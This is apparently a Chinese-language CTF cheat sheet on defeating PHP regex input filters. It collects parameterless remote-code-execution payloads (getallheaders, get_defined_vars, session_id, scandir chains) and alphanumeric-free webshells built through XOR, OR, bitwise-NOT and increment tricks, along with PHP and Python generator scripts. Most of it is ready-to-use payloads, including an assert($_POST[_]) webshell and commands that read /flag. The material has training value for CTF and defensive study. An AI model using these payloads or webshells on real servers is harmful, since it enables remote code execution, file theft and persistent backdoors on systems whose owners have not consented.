正则匹配的绕过

1.无参数RCE

在鲲鹏杯的测试中因为之前没有接触过这个无参数RCE导致错失一血;所以今天来统一的总结一下无参数RCE的一些payload

1
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '',$_GET['code']))

这个一般出现在无参数的RCE绕过中;我们来解读一下这个到底过滤了什么东西
‘/[^\W]+’:
1.[^\W]:匹配任意非单词的字符,即为[^a-zA-Z0-9] 2.+:匹配无穷次
(?R)?:
1.(?R):回溯;在相同的位置匹配整个表达式;可以看成把/[^\W]+((?R)?)/,这个式子再放到(?R)的位置 2:?匹配多次
(:左括号 ):右括号

1
2
3
4
该正则只允许执行
a(b(c()));a()
不允许执行
a('123');即无法执行system('ls')这一类带有参数的命令

而为什么这个叫无参数RCE呢就是因为:我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行

关键函数一:getallheaders():

getallheaders():作用:获取所有 HTTP 请求标头;传入?code=print_r(getallheaders());,数组返回 HTTP 请求头

payload1:(适合php7以上的版本):使用var_dump(getenv(phpinfo()));查看环境变量

1
2
3
GET /?code=eval(end(apache_request_headers())); HTTP/1.1
.....
flag: system('ls');

payload2:
使用end指向最后一个请求头,用其值进行rce;

1
2
3
GET /?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('ls');

关键函数二:get_defined_vars():

get_defined_vars():
作用:返回由所有已定义变量所组成的数组,会返回$GET,$POST,$COOKIE,$FILES全局变量的值,返回数组顺序为get->post->cookie->file
current():
作用:返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$GET变量的数组值
paylaod1:

1
?code=eval(end(current(get_defined_vars())));&flag=system('ls');


payload2:

1
?flag=system('dir');&code=eval(pos(pos(get_defined_vars())));


payload3:
而如果网站对$GET,$POST,$COOKIE都做的过滤,那我们只能从$FILES入手了,file数组在最后一个,需要end定位,然后pos两次定位获得文件名
exp:

1
2
3
4
5
6
7
8
9
import requests
files = {
"system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

关键函数三:session_start():

适用于:php7以下的版本
● session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
● session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。

文件读取payload:

1
2
3
4
5
6
7
8
show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())));
highlight_file(session_id(session_start()));
readfile(session_id(session_start()));
抓包传入Cookie: PHPSESSID=(想读的文件)即可

GET /?code=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=/flag

命令执行payload:

1
2
GET /?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=706870696e666f28293b ("system('命令')"的十六进制)

关键函数四:scandir():

文件读取
查看当前目录文件名payload:

1
print_r(scandir(current(localeconv())));

读取当前目录文件payload:

1
2
3
4
5
6
7
8
9
10
11
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名payload:

1
2
3
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录文件payload:

1
2
3
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

2.无字母数字webshell

1
if(!preg_match('/[A-Za-z0-9]/is',$_GET['shell'])) 

此时正则的匹配便是不能出现字母和数字此时我们将payload成为无字母数字的webshell;我们在NKCTF中就有遇到过这个无字母数字的webshell

绕过方法一:异或绕过

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

绕过方法二:或运算绕过

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-

def action(arg):
s1=""
s2=""
for i in arg:
f=open("D:/phpstorm/hey-php/or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

绕过方法三:取反绕过

exp1:(这个需要在命令执行框中执行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

exp2:(python)

1
2
3
4
5
6
7
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
hexbit = hexbit.replace('0x','%')
print(hexbit)

get('system')
get('cat /flag')


所以此时的payload:system(‘cat /flag’)=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%9E%98)

无字母数字webshell加长度限制

缩减字符的方法一:
先使用这个poc:

1
2
3
4
5
6
7
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
hexbit = hexbit.replace('0x','%')
print(hexbit)

get('assert')
get('_POST')

然后使用这个poc将上面的exp缩减为

1
2
3
4
5
<?php
$_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此时$__="_POST"
$___ = $$__; //$___=$_POST
$_($___[_]); //assert($_POST[_])

自增自减

1
if(!preg_match('/[a-z0-9;~^`&|/is]/is',$_GET['shell']))

此时可以看到取反、异或、或运算都被过滤;所以此时我们需要考虑的就是自增自减的绕过
何为自增自减呢

1
2
"A"++ ==> "B"
"B"++ ==> "C"

所以,只要我们能拿到一个变量,其值为a,那么通过自增操作即可获得a-z中所有字符。所以此时我们需要做的就是如何拿到字符
那么,如何拿到一个值为字符串’a’的变量呢?我们发现,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

而Array的第一个字母就是大写A,而且第4个字母是小写a。也就是说我们可以同时拿到小写a和大写A,那么我们就可以拿到a-z和A-Z的所有字母:

webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

缩减后的webshell(这里记得使用url编码)

1
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);


在上面这种情况下当;被过滤时只能使用短标签法;payload如下(上传一句话木马)

1
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>

记录一下NKCTF里面的一个payload:

1
2
$_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[__])
;&_=shell_exec&__=cat /flag > 1.txt

有关自增自减的文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html